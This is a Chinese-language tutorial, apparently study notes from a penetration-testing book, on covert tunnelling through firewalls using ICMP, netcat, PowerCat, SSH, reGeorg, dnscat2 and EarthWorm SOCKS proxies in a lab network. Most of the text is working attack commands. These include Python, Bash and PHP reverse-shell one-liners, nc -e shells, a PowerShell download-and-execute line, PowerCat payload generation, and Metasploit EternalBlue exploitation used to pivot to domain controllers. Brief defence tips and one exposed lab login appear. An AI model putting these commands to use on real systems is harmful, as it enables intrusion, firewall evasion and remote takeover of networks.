• 隐藏通信隧道技术


    第三章 隐藏通信隧道技术

    本文章参考以下博客
    https://www.freebuf.com/articles/network/242015.html
    https://www.freebuf.com/articles/network/242445.html
    
    • 1
    • 2
    • 3

    3.1 隐藏通信隧道基础知识

    3.1.1 隐藏通信隧道概述

    隧道指的是一种绕过端口屏蔽的通信方式,将数据包封装成防火墙允许通过的数据包类型,穿越防火墙,
    到达目的后在进行解封装,发送到对应的服务器上。常用的隧道列举如下:
    网络层:IPV6隧道,ICMP隧道,GRE隧道
    传输层:TCP隧道,UDP隧道,常规端口转发
    应用层:SSH隧道,HTTP隧道,HTTPS隧道,DNS隧道
    
    • 1
    • 2
    • 3
    • 4
    • 5

    3.1.2 判断内网的连通性

    1.ICMP协议	直接ping目标主机即可
    2.TCP协议		nc 目标主机+端口号
    3.HTTP协议	curl 目标主机+端口号
    4.DNS协议		nslookup 目标地址
    
    • 1
    • 2
    • 3
    • 4

    3.2 网络层隧道技术

    3.2.1 IPV6隧道

    将IPV6报文封装在IPV4报文中进行数据传输,IPV6优势在于可以绕过FW,IDS等安全设备的检测。
    
    • 1

    3.2.2 ICMP隧道

    将TCP/UDP的数据包封装到ICMP的ping数据包中,从而穿过防火墙,实现不受控制的访问
    常用的ICMP隧道工具有icmpsh,PingTunnel,icmptunnel,powershell icmp等
    
    1.icmpsh
    2.PingTunnel
    
    • 1
    • 2
    • 3
    • 4
    • 5

    实验环境:

    可参考以下博客
    https://blog.csdn.net/weixin_41598660/article/details/106537762
    一台win7	172.27.7.27
    一台kali	172.27.7.33
    kali需要安装下载一个icmpsh的工具
    git clone https://github.com/inquisb/icmpsh.git
    安装icmpsh的依赖包,python的一个库
    apt-get install python-impacket
    如果报错可以直接上传到kali解压
    tar -zcvf impacket-0.9.11.tar.gz
    解压完成后安装
    python setup.py build
    python setup.py install
    执行之前最重要的一步是在你的kali机器上关闭ping回复。这样可以防止内核自己对ping包进行响应。
    sysctl -w net.ipv4.icmp_echo_ignore_all=1	(改回来只要将1改为0即可)
    win7也下载icmpsh这个工具
    环境准备工作做好以后开始操作
    root@kali:~/icmpsh# python icmpsh_m.py 172.27.7.33(攻击主机) 172.27.7.27(目标主机)
    win7直接icmpsh.exe -t 攻击机ip
    icmpsh.exe -t 172.27.7.33
    执行完成后,kali可直接拿到win7的shell
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-GFNhKh9o-1661848865770)(第三章 隐藏通信隧道技术.assets/image-20210512172726523.png)]

    3.2.3 PingTunnel隧道

    实验拓扑:
    在这里插入图片描述

    实验环境
    在公网VPS和边界WEB服务器上安装PingTunnel工具
    安装成功后,在边界WEB服务器上运行隧道工具
    ptunnel -x shutter
    在VPS服务器上开启监听
    ptunnel -p 对端隧道IP -lp 1080 -da 对端隧道内网IP -dp 3389 -x shutter
    ptunnel -p 172.27.7.39 -lp 1080 -da 192.168.1.34 -dp 3389 -x shutter
    在公网开一台win7使用公网VPS的地址和1080端口远程桌面访问
    用我的物理机访问VPS172.27.7.33的1080端口服务,是否能访问到win7的3389服务。
    这样访问VPS的流量会被转发到内网WEB服务器上,再由WEB服务器作为跳板访问
    内网某台服务器的远程桌面服务
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ngcNEVSH-1661848865772)(第三章 隐藏通信隧道技术.assets/image-20210512190338372.png)]

    远程连接内网Linux服务器的22号端口
    在VPS上输入如下命令:
    ptunnel -p 172.27.7.39 -lp 1080 -da 192.168.1.36 -dp 22 -x shutter     
    kali-web开启监听
    ptunnel -x shutter
    
    • 1
    • 2
    • 3
    • 4
    • 5

    实验成功截图:

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WW0ztLoi-1661848865773)(第三章 隐藏通信隧道技术.assets/image-20210512192922919.png)]

    3.2.4 如何防御ICMP攻击

    1.利用抓包工具分析ICMP流量
    2.检测同源ICMP数据包的数量
    3.检测Payload大于64bit的ICMP数据包
    4.检查ICMP的协议标签,带有TUNL的标记
    
    • 1
    • 2
    • 3
    • 4

    3.3 传输层隧道技术

    在渗透测试中,如果内网的防火墙阻止了对指定端口的访问,在获取了目标机器的权限后,
    可以使用防火墙命令打开指定的端口或关闭防火墙。
    如果内网中存在一系列防御系统,TCP、UDP 流量会被大量拦截。
    
    • 1
    • 2
    • 3

    3.3.1 lcx端口转发

    lcx是一个很经典的端口转发工具,其基于Socket套接字,有Windows和Linux两个版本。
    Windows的为lcx.exe,Linux的为portmap。
    下载地址:https://github.com/MrAnonymous-1/lcx
    一个正常的socket套接字必须具备两端:一端是服务器,监听一个端口,等待客户端连接;另一端为客户端,
    通过给出服务器的IP和端口,与服务端建立连接。
    
    • 1
    • 2
    • 3
    • 4
    • 5
    内网端口转发:
    实验环境
    两台win主机
    win7-2(受害机)			  192.168.1.13				
    windows-7(攻击机)		  192.168.1.34		
    在受害机(Windows)上面执行如下命令,将受害机3389端口的数据转发到攻击者公网VPS(Windows)
    的8000端口上
     lcx.exe -slave <攻击者ip> 8000 127.0.0.1 3389
     lcx.exe -slave 192.168.1.34 8000 127.0.0.1 3389
     
     在攻击机上面执行如下命令,将本机8000端口上监听到的数据转发到本机的4444端口上面
     lcx.exe -listen 8000 4444
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    受害机:

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-GbbMZj4T-1661848865773)(第三章 隐藏通信隧道技术.assets/image-20210512203934042.png)]

    攻击主机:

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1JR2sbw0-1661848865774)(第三章 隐藏通信隧道技术.assets/image-20210512204015435.png)]

    此时即可登录用远程桌面登录<攻击者本地ip>:4444,即可访问受害者的3389端口远程桌面了。
    
    • 1

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-oK4sEzJK-1661848865774)(第三章 隐藏通信隧道技术.assets/image-20210512204418743.png)]

    3.3.2 netcat

    nc:安全界的瑞士军刀
    作用:
    获取系统 banner 信息
    传输文本信息
    加密传输文件
    端口扫描
    远程控制 /正向反向shell
    
    
    用法:
    端口扫描
     nc -v 192.168.10.15 80
     nc -v -z 192.168.10.15 20-1024
    端口监听
    nc -l -p 9999
    文件传输:将web服务器上的文件内容传输到VPS设备上
    VPS开启监听等待连接,一旦连接建立,数据便会流入
     nc -lp 333 >1.txt
    WEB服务器与VPS的333端口建立连接,传输一个文件
    nc -vn 172.27.7.241(目标VPS的地址) 333 <2.txt -q 1
    简易聊天
    在本地VPS主机开启监听
    nc -l -p 888
    web服务器上开启监听
    nc -vn 192.168.200.110(对端VPS的地址) 888
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25

    3.3.2 正向反向Shell

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WaGGNhjT-1661848865775)(第三章 隐藏通信隧道技术.assets/image-20210513152118921.png)]

    如上图反向的shell,VPS成功拿到web服务器的shell
    
    • 1
    正向shell	客户端------>服务器
    WEB服务器IP	172.27.7.45
    VPS地址		 172.27.7.41
    WEB服务器开启监听目标主机的4444端口IP
    nc -lvp 4444 -e /bin/sh
    VPS上连接目标主机的4444端口
    nc 172.27.7.45 4444
    此时VPS可以成功拿到web服务器的shell
    
    nc64.exe -lvp 4444 -e cmd.exe
    反向shell	服务器----->客户端
    WEB服务器IP	172.27.7.45
    VPS地址		 172.27.7.41
    VPS上监听本地9999端口
    nc -lvp 9999
    web服务器连接VPS主机的4444端口
    nc 172.27.7.41 9999 -e /bin/sh
    此时VPS可以成功拿到web服务器的shell
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    利用Python获得反向shell
    VPS开启监听本地2222端口
    nc -lvp 2222
    在目标主机上执行以下python代码即可成功拿到shell
    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.27.7.41",2222));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
    执行成功后,VPS可成功拿到web服务器的shell
    
    利用Bash反向shell
    VPS开启监听本地4444端口
    nc -lvp 4444
    在目标主机上执行以下Bash脚本
    bash -i >& /dev/tcp/172.27.7.41/4444 0>&1
    VPS即可成功拿到WEB服务器的shell
    
    利用PHP反向Shell
    VPS本地监听2222端口
    nc -lvp 2222
    web服务器上执行如下PHP代码
    php -r '$sock=fsockopen("172.27.7.41",2222);exec("/bin/sh -i <&3 >&3 2>&3");'
    
    利用Perl反向shell
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    python获取反向shell
    
    • 1

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jJWI66k9-1661848865775)(第三章 隐藏通信隧道技术.assets/image-20210513153400735.png)]

    Bash反向shell
    
    • 1

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xBk0M3Ju-1661848865775)(第三章 隐藏通信隧道技术.assets/image-20210513153735619.png)]

    PHP的反向shell
    
    • 1

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vU3H4FVE-1661848865776)(第三章 隐藏通信隧道技术.assets/image-20210513153911036.png)]

    5. 内网代理

    在阿里云服务器上监听9999端口,
    nc -lvp 9999
    在内网的一台kali-VPS上监听9999端口
    nc -lvp 9999 -e /bin/sh
    最后在内网的kali-web上监听连接
    nc -v 139.224.225.64 9999 -c "nc -v 172.27.7.41 9999"	
    (阿里云服务器IP和内网数据库服务器IP)
    
    
    实验环境为已经拿到边界WEB服务器的权限,但是VPS不能直接访问内网数据库服务器,
    但是WEB服务器可以访问数据库服务器
    VPS:172.25.6.40
    FW:WAN:172.25.6.45	LAN:192.168.10.5
    WEB服务器:WAN:172.25.6.19	LAN:192.168.10.17
    数据库服务器:192.168.10.14
    
    1.VPS上监听本地3333端口
    nc -lvp 3333
    
    2.在数据库服务器上监听3333端口
    nc -lvp 3333 -e /bin/sh
    
    3.最后在WEB服务器上监听连接
    nc -v 172.25.6.40 3333 -c "nc -v 192.168.10.14 3333"
    执行成功后,查看本机IP地址发现是内网数据库服务器的地址,由此VPS主机已经成功连接数据库服务器
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25

    3.3.3 PowerCat

    PowerCat是nc的PowerShell版本,可以通过执行命令回到本地运行,也可以使用远程权限执行
    1.下载PowerShell
    github项目地址:https://github.com/besimorhino/powercat.git
    下载完成后解压到本地。
    进入到powercat文件目录下
    要想在Powershell的命令环境中执行powercat.ps1脚本,必须先进行导入操作
    直接导入可能会出错,默认Powershell不允许执行任何脚本,修改下配置
    Get-ExecutionPolicy(查看默认配置)
    Set-ExecutionPolicy Unrestricted(可执行任意脚本)
    在执行导入操作
    Import-Module .\powercat.ps1
    输入powercat -h 出现提示符表示环境正常
    
    搭建测试环境
    外网VPS机器:	172.25.6.40
    win7机器:WAN:	 172.25.6.20	LAN:192.168.10.15
    域控服务器:192.168.10.11
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    3. nc正向连接Powercat(做不了)
    win7主机上执行监听命令											-l	监听模式
    powercat -l -p 8080 -e cmd.exe -v							  -p  指定监听端口
    															  -e  指定要启动进程的名称
    VPS主机上执行												   -v  显示详情
    netcat 172.25.6.20(内网win7主机地址) 8080 -vv
    此时VPS可以成功拿到win7主机的shell
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    4. 通过nc反向连接Powercat

    实验环境:

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HyYfQiBp-1661848865776)(第三章 隐藏通信隧道技术.assets/image-20210513173011581.png)]

    此时阿里云服务器已经成功连接到内网的win7主机
    
    • 1

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JROcuFwy-1661848865776)(第三章 隐藏通信隧道技术.assets/image-20210513172553849.png)]

    在VPS上执行如下命令
    netcat -l -p 8888 -vv
    
    在win7中执行如下命令,-c参数表示提供想要连接的IP地址
    执行前还是需要先导入powercat.ps1具体步骤如上
    powercat -c 172.25.6.40 -p 8888 -v -e cmd.exe	(-c指的是外网VPS地址)
    执行成功后,外网VPS即可拿到win7主机的shell
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    5. 通过Powercat返回Powershell
    以上都是与nc进行交互,如果想返回Powershell,则无法与nc进行交互,接下来使win7主机
    与域控建立正向连接
    
    IEX (New-Object Net.WebClient).DownloadString('http://192.168.10.5/powercat')
    
    在域控服务器上先配置好powercat环境,步骤如上
    配置完成后执行:
    powercat -l -p 9999 -v
    
    在win7主机上执行	
    powercat -c 192.168.10.11 -p 9999 -v -ep(	-c域控服务器地址	)
    执行完毕后可以在域控上拿到win7的shell
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    6. 通过Powercat传输文件
    win7新建一个test.txt的文件
    在域控服务器上执行以下代码
    powercat -l -p 9999 -of test.txt -v
    在win7中执行以下代码
    powercat -c 192.168.10.11 -p 9999 -i C:\Windows\System32\cmd.exe\test.txt -v
    (-c域控服务器地址)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    7. 用Powercat生成Payload
    用win7下面生成一个ps1文件并上传到域控服务器上
    
    powercat -l -p 8000 -e cmd -v -g >> shell.ps1
    
    域控将生成的ps1文件运行
    win7执行以下代码,就可以获得一个反弹shell
    powercat -c 192.168.10.22 -p 8000 -v	(-c域控服务器地址)
    
    win7反弹powershell
    powercat -l -p 8000 -ep -v -g >> shell.ps1
    
    生成编码的Payload
    powercat -c 192.168.10.22 -p 0000 -ep -ge	(-c域控服务器地址)
    继续在win7上执行
    powercat -l -p 9999 -v
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    8. PowerCat DNS隧道通信
    Powercat也是基于DNS通信的协议
    首先需要在kali中安装dnscat
    具体安装步骤
    1.下载压缩包并上传至kali
    2.解压缩文件
    unzip dnscat2-master.zip
    cd /home/dnscat/dnscat2-master/server
    gem install bundler
    bundle install
    ruby dnscat2.rb ttpowercat.test -e open --no-cache(安装dnscat2)
    dnscat2>	成功运行的界面
    
    win7执行如下命令
    powercat -c 172.25.6.40 -p 53 -dns ttpowercat.test -e cmd.exe
    
    执行成功后,dnscat2会出现windows会话,使用 session -i 会话ID 直接进入win7的shell
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    9. 将 Powercat作为跳板
    环境:
    win7可以访问两台服务器
    VPS不能访问域控服务器
    
    首先在域控服务器上执行
    powercat -l -v -p 9999 -e cmd.exe
    
    在win7上执行
    powercat -l -v -p 8000 -r tcp:192.168.10.22:9999
    
    最后在VPS上执行
    nc 1752.25.5.132 8000 -vv
    VPS成功拿到域控服务器shell
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    3.4 应用层隧道

    在实际的网络中,通常会通过各种边界设备、软/硬件防火墙甚至入侵检测系统来检查对外连接情况,如果
    发现异样,就会对通信进行阻断。
    那么什么是隧道呢?这里的隧道,就是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙
    所允许的数据包类型或端口进行封装,然后穿过防火墙,与对方进行通信。当封装的数据包到达目的地时,
    将数据包还原,并将还原后的数据包发送到相应服务器上。
    
    • 1
    • 2
    • 3
    • 4
    • 5

    3.4.1 SSH协议

    SSH隧道常用参数
    -C	压缩传输
    -f	将SSH传输转入后台,不占用当前shell
    -N	建立静默连接
    -g	允许远程主机连接本地用于转发的端口
    -L	本地端口转发
    -R	远程端口转发
    -D	动态转发(SOCKS代理)
    -P	指定SSH端口
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    3.4.1.1 本地转发
    登录域控服务器	HACKER\Administrator
    登录win10		 刘亚鹏	0315
    
    • 1
    • 2
    本地端口映射:将本地客户端某个端口的流量转发到远程指定服务器的指定端口
    本地端口转发:在本地客户机监听一个端口,所有访问这个端口的数据都会通过SSH隧道传输到远端
    服务器的对应端口
    
    • 1
    • 2
    • 3

    实验环境:

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qYs76DfZ-1661848865777)(第三章 隐藏通信隧道技术.assets/image-20210410103047537.png)]

    1.修改SSH的配置文件(可以不用改,如果实验出现问题可尝试修改)
    修改ssh服务器配置文件
    /etc/ssh/sshd_config
    – PermitRootLogin yes
    – Port 22
    – PasswordAuthentication yes
    ▪ service ssh restart
    
    2.以WEB服务器为跳板,将域控服务器192.168.10.22的3389端口映射到VPS服务器的1153端口上,
    再次访问VPS服务器的1153端口,就可以访问域控服务器的3389端口
    在VPS上执行
    ssh -CfNg -L 1153:192.168.10.22:3389 root@172.25.7.29
    root@172.25.7.29	输入跳板机的密码
    
    查看本地1153端口,可以看到1153端口已经开启侦听。
    root@kali:~# netstat -anptl | grep 1153 
    tcp        0      0 0.0.0.0:1153            0.0.0.0:*               LISTEN      2082/ssh            
    tcp6       0      0 :::1153                 :::*                    LISTEN      2082/ssh
    
    最后在本地VPS访问本地1153端口即可成功连接到域控服务器的3389端口
    rdesktop 127.0.0.1:1153
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21

    实验成功截图:

    在这里插入图片描述

    3.4.1.2 远程转发
    Linux添加默认路由
    route add default gw 172.25.7.59
    删除默认路由
    route del -net 0.0.0.0 gw 172.25.7.59
    
    • 1
    • 2
    • 3
    • 4

    实验环境:

    在这里插入图片描述

    其中VPS不能访问内网的三台服务器,WEB服务器可以访问VPS以及内网服务器,但是内网服务器不能访问
    VPS,实验以WEB服务器为跳板,将VPS的3307端口的流量转发到域控服务器192.168.10.14的3389端口,
    然后访问VPS的3307端口就可以成功访问内网域控服务器的3389端口
    
    • 1
    • 2
    • 3
    1.在WEB服务器上执行如下命令
    ssh -CfNg -R 3307:192.168.10.14:3389 root@172.25.7.61
    输入yes和VPS的密码
    2.在VPS主机上访问本地3307端口
    rdesktop 127.0.0.1:3307
    可以成功远程连接到内网的域控服务器
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    实验成功截图:

    在这里插入图片描述

    远程端口转发:
    在远程服务器上监听一个端口,所有访问远程服务器指定端口数据都会通过SSH隧道传输到本地的对应端口上
    
    • 1
    • 2
    3.4.1.3 动态转发
    前面介绍的端口转发类型都叫静态端口转发,所谓的 “静态” 是指应用程序服务器端的 IP 地址和监听的
    端口是固定的。试想另外一类应用场景:设置浏览器通过端口转发访问不同网络中的网站。这类应用的
    特点是目标服务器的 IP 和端口是未知的并且总是在变化,创建端口转发时不可能知道这些信息。只有
    在发送 HTTP 请求时才能确定目标服务器的 IP 和端口。在这种场景下静态端口转发的方式是搞不定的,
    因而需要一种专门的端口转发方式,即 “动态端口转发”。SSH 动态端口转发是通过 Socks 协议实现的,
    创建动态端口转发时SSH 服务器就类似一个 Socks 代理服务器,所以这种转发方式也叫 Socks 转发
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    实验环境:

    在这里插入图片描述

    1.在VPS上执行如下命令,建立一个SOCKS 4/5代理通道输入WEB服务器的密码
    ssh -CfNg -D 7000 root@172.25.7.29
    
    打开本地浏览器设置代理,设置完成后直接访问内网win7的地址即可
    查看本地SSH的进程
    root@kali:~# netstat -tulnp |grep ":7000"
    tcp        0      0 0.0.0.0:7000            0.0.0.0:*               LISTEN      3698/ssh            
    tcp6       0      0 :::7000                 :::*                    LISTEN      3698/ssh
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4xvwem4V-1661848865779)(第三章 隐藏通信隧道技术.assets/image-20210410150809244.png)]

    实验成功截图:

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-T8snE4hs-1661848865779)(第三章 隐藏通信隧道技术.assets/image-20210410150844908.png)]

    动态转发:
    动态端口映射就是建立一个SSH加密的SOCKS 4/5代理通道,任何支持SOCKS 4/5的程序都可以使用
    这个加密隧道进行代理访问。
    
    • 1
    • 2
    • 3
    此时,也可以使用metasploit挂socks代理扫描目标内网ms17-010
    
    msfconsole 
    辅助扫描模块
    msf5 > setg proxies socks5:172.25.7.61:7000
    msf5 > use auxiliary/scanner/smb/smb_ms17_010
    msf5 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.10.11
    msf5 auxiliary(scanner/smb/smb_ms17_010) > set threads 10
    msf5 auxiliary(scanner/smb/smb_ms17_010) > run
    
    渗透攻击模块
    msf5 > use exploit/windows/smb/ms17_010_eternalblue
    msf5 > set rhost 192.168.190.136
    msf5 > set lhost 192.168.174.130
    msf5 > set lport 444
    msf5 > set ReverseAllowProxy true
    msf5 > exploit
    可成功拿到内网win7系统权限的shell
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    防御SSH隧道攻击的思路
    ssh隧道之所以能被攻击者利用,主要是因为系统访问控制措施不够。在系统中配置ssh远程管理白名单,
    在ACL中限制只有特定的ip地址才能连接ssh,以及设置系统完全使用带外管理等方法,都可以避免这一
    问题。如果没有足够的资源来建立带外管理的网络结构,在内网中至少要限制ssh远程登录的地址和双向
    访问控制策略(从外部到内部、从内部到外部)。
    
    • 1
    • 2
    • 3
    • 4
    • 5

    3.4.2 HTTP/HTTPS协议

    首先我们需要明白正向代理和反向代理的区别:
    正向代理(Forward Proxy)
    
    Lhost-->proxy-->Rhost
    Lhost为了访问到Rhost,向proxy代理服务器发送了一个请求并且指定目标是Rhost,然后proxy向Rhost
    转交请求并将获得的内容返回给Lhost,简单来说正向代理就是proxy代替了我们去访问Rhost。
    
    反向代理(reverse proxy)
    
    Lhost<-->proxy<-->firewall<-->Rhost
    和正向代理相反,Lhost只向proxy发送普通的请求,具体让他转到哪里,proxy自己判断,然后将返回的
    数据递交回来,这样的好处就是在某些防火墙只允许proxy数据进出的时候可以有效的进行穿透。
    
    简单说就是正向代理是指攻击机主动通过代理来访问目标机器,反向代理是指目标机器通过代理进行主
    动连接。我们平常使用的reDuh、tunna,和reGeorg一样,都是正向代理。一般都是用户上传一个代理
    脚本到服务器端,本地的程序去连接服务器上的脚本,脚本程序做代理转发端口和流量。
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16

    测试环境如下:

    reGeorg下载地址
    https://github.com/sensepost/reGeorg.git
    下载完成后继续安装如下依赖
    wget https://pypi.python.org/packages/source/s/setuptools/setuptools-18.5.tar.gz
    tar -xvf setuptools-18.5.tar.gz
    python setup.py build
    python setup.py install
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    将脚本上传至目标服务器,记录下脚本的url地址
    
    VPS上执行如下命令
    python reGeorgSocksProxy.py -u http://172.25.7.36/upload-labs/tunnel.nosocket.php -p 9999
    
    查看本地的9999端口
    查看监听的端口
    netstat -ntlp
    访问本地9999端口即可成功连接到目标服务器
    配置代理软件,修改如下配置
    vi /etc/proxychains.conf
    dynamic_chain
    将监听端口改为9999
    然后可以直接通过代理软件连接或者进行3389端口暴力破解
    proxychains rdesktop -g 1440x900 172.27.7.51:3389
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    3.4.3 DNS协议

    DNS隧道工作原理:
    将其他协议封装在DNS协议中进行传输
    
    • 1
    • 2
    3.4.3.1 检查DNS的连通性
    1.查询当前内部域名及IP地址
    cat /etc/resolv.conf |grep -v '#'
    nameserver 172.31.0.42
    nameserver 58.242.2.2
    
    2.解析内部域名
    nslookup www.cua.edu.cn
    
    3.解析外部域名
    nslookup www.baidu.com
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    3.4.3.2 dnscat2
    下载地址:
    https://github.com/iagox86/dnscat2.git
    
    
    • 1
    • 2
    • 3

    3.5 SOCKS代理

    3.5.1 常见的代理工具
    1.EarthWorm(EW)
    服务架设和端口转发两大功能
    EW的新版本Termite
    下载地址:https://github.com/rootkiter/Termite.git
    2.ReGeorg
    下载地址:https://github.com/sensepost/reGeorg.git
    3.sSocks
    4.SocksCap64
    下载地址:http://www.sockscap64.com/
    5.Proxifier
    下载地址:https://www.proxifier.com/
    6.ProxyChains
    下载地址:
    http://proxychains.sourceforge.net/
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    3.5.2 socks代理在网络环境应用
    3.5.2.1 EW的使用
    EW有六种命令格式,分别是ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran。
    ssocksd命令用于普通网络环境的正向连接,rcsocks和rssocks用于反弹连接,其他命令用于
    复杂网络环境的多级级联
    
    • 1
    • 2
    • 3

    正向SOCKS 5服务器

    实验环境:

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2W9mrSyy-1661848865780)(第三章 隐藏通信隧道技术.assets/image-20210414155203469.png)]

    测试环境:

    测试环境:左侧有一个人计算机,为攻击者的计算机,位于攻击者的内网中,攻击者还有一台公网中的vps;
    右侧是一个受害内网,有三台机器,我们已经控制的web服务器有两个网卡,是连接外网和内网的关键节点,
    内网其他机器之间均不能直接连接
    
    • 1
    • 2
    • 3
    (1)正向 SOCKS 5 服务器
    下载并安装EW
    适用于目标机器拥有一个外网IP地址的情况下,如上图内网web服务器的模拟外网IP为172.27.7.76。
    在web服务器上面上传对应的ew程序并执行:
    ew_for_Win.exe -s ssocksd -l 888
    在内网web服务器上架设了一个端口为888的socks代理服务,接下来设置proxychains或socksCap64指向
    代理服务器172.27.7.76即可
    
    配置代理服务器
    vim /etc/proxychains.conf 
    socks5 	172.27.7.76 888
    设置完代理后直接远程连接内网Server2012的3389端口
    proxychains rdesktop 192.168.10.16
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    实验成功截图:

    在这里插入图片描述

    (2) 反弹SOCKS 5服务器
    正向 SOCKS 5 服务器适用于目标机器拥有一个外网IP地址的情况下,假设目标机器没有公网IP的情况下,
    我们怎么访问内网的资源呢?
    
    • 1
    • 2

    实验环境:

    在这里插入图片描述

    测试环境:

    在这个测试环境中,与上一个相似,只是web服务器没有了公网IP,但能上网;VPS是真的公网vps了
    
    • 1
    在攻击者的VPS上上传ew_for_linux64并执行:
    	
    ./ew_for_linux64 -s rcsocks -l 1080 -e 1234
    该命令的意思是在vps上添加一个转接隧道,监听1234,把本地1234端口收到的代理请求转交给1080端口,
    这里1234端口只是用于传输流量。
    接着
    接着,在内网web服务器(192.168.10.15)上传ew_for_Win.exe,并执行命令
    ew_for_Win.exe -s rssocks -d 172.27.7.79 -e 1234
    该命令的意思是在受害者web服务器上启动SOCKS5服务,并反弹到公网IP地址为172.27.7.79的1234端口上
    此时vps上面显示“rssocks cmd_socket OK!”说明连接成功
    
    
    (1)接下来修改本地VPS的代理服务器设置监听本地1080端口
    vim /etc/proxychains.conf 
    socks5 127.0.0.1 1080
    设置完成后直接访问内网的win7-2的3389端口
    
    (2)另找一台VPS服务器设置本地VPS的代理IP及端口
    vim /etc/proxychains.conf 
    socks5 172.27.7.79 1080	
    proxychains rdesktop 192.168.10.17
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21

    实验成功截图:

    在这里插入图片描述

    换用阿里云服务器做此实验
    
    
    • 1
    • 2

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bpwNwLtA-1661848865781)(第三章 隐藏通信隧道技术.assets/image-20210516150809062.png)]

    (3) 二级网络环境(a)
    适用于目标服务器拥有双网卡,内网卡只能连接内网的一台B主机,无法访问其他服务器,
    但是B主机可以访问内网服务器
    
    • 1
    • 2

    实验环境:

    在这里插入图片描述

    测试环境:

